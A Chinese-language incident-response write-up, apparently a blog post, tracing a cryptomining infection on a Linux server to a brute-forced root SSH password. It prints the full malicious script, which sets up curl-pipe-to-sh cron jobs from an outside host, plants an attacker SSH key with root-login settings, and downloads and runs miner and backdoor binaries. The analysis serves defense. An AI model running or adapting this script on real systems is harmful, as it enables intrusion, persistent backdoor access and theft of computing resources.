可以发现,/var/spool/cron/root和/var/spool/cron/crontabs/root两个文件中都有被写入的计划任务 。两个计划任务是一样的,计划任务的设置策略是:
每天的18点到23点,0点到7点,这段时间内,每五分钟执行一个curl操作,这个curl操作会从r.chanstring.com这个网站上下载一个脚本,然后在本地服务器上执行 。
这里有个很有意思的事情,此计划任务的执行时间刚好在非工作日期间(8点到23点,0点到7点),此骇客还是很有想法的,利用非工作日期间,借用客户的服务器偷偷挖矿,这个时间段隐蔽性很强,不容易发现服务器异常 。
既然发现了这个下载脚本的网站,那就看看下载下来的脚本到底是什么,执行了什么操作,https://r.chanstring.com/api/report?pm=0988 此网站很明显是个api接口,下载下来的内容如下:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/crontabs/rootif [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restartfiif [ ! -f "/var/tmp/minerd" ]; then curl -fsSL https://r.chanstring.com/minerd -o /var/tmp/minerd chmod +x /var/tmp/minerd /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqsWqkNnkny8pVSvhiDuTA3zCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQ3zmbvvoKVuZV2avhJh -p xfips auxf | grep -v grep | grep /var/tmp/minerd || /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqy5hflu/XRe4dybhCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQy5hflu/XRe4dybh -p xif [ ! -f "/etc/init.d/lady" ]; then if [ ! -f "/etc/systemd/system/lady.service" ]; then curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /var/tmp/KHK75NEOiq66 && chmod +x /var/tmp/KHK75NEOiq66 && /var/tmp/KHK75NEOiq66 fifiservice lady startsystemctl start lady.service/etc/init.d/lady start这是个非常简单的shell脚本,基本的执行逻辑是:
1、写入计划任务到/var/spool/cron/root和/var/spool/cron/crontabs/root文件中 。
2、接着检查/root/.ssh/KHK75NEOiq文件(这应该是个公钥文件)是否存在,如果不存在,写入公钥到服务器,并修改/etc/ssh/sshd_config的配置 。
3、检查挖矿程序/var/tmp/minerd是否存在,如果不存在,从网上下载一个,然后授权,最后开启挖矿程序 。同时,还会检查挖矿进程是否存在,不存在就重新启动挖矿进程,其中,-o参数后面跟的是矿池地址和端口号,-u参数后面是黑 客自己的钱包地址,-p参数是密码,随意填写就行 。
到这里为止,挖矿程序的运行机制基本清楚了 。但是,客户的问题还没有解决!
那么黑 客是如何植入挖矿程序到系统的呢?这个问题需要查清楚 。
接着,检查系统防火墙iptables,发现所有规则全部开放,相当于没有使用防火墙,然后询问了客户机器的密码,发现非常简单易破解,最后,在系统的/var/log/secure中找到了入侵的根源,日志如下:
Sep 22 04:17:56 pkserver unix_chkpwd[36592]: password check failed for user (root)Sep 22 04:17:58 pkserver sshd[36590]: Failed password for root from 92.168.10.187 port 34714 ssh2Sep 22 04:17:58 pkserver unix_chkpwd[36595]: password check failed for user (root)Sep 22 04:18:00 pkserver sshd[36593]: Failed password for root from 92.168.10.187 port 34740 ssh2Sep 22 04:18:01 pkserver unix_chkpwd[36598]: password check failed for user (root)Sep 22 04:18:02 pkserver sshd[36596]: Failed password for root from 92.168.10.187 port 34766 ssh2Sep 22 04:18:03 pkserver unix_chkpwd[36601]: password check failed for user (root)Sep 22 04:18:05 pkserver sshd[36599]: Failed password for root from 92.168.10.187 port 34792 ssh2Sep 22 04:18:06 pkserver unix_chkpwd[36604]: password check failed for user (root)Sep 22 04:18:07 pkserver sshd[36602]: Failed password for root from 92.168.10.187 port 34820 ssh2Sep 22 04:18:08 pkserver sshd[36605]: Accepted password for root from 92.168.10.187 port 34846 ssh2
推荐阅读
- 如何在Linux中配置Redis服务并设置为开机自启
- 什么是DNS服务器?怎么修改才能提升网速?
- CentOS7.6安装Tomcat服务器
- 红帽和CentOS推出CentOS Stream,一个新的Linux发行版
- nginx反向代理配置两个不同服务器
- 12 款 Linux 终端推荐
- 使用 Nuxt.js来实现Vue的SSR服务器端渲染之安装
- Linux终端连接Linux服务器
- Python如何解决200台服务器业务端口检测?技术大牛教你实现
- linux CentOs mysql 安装
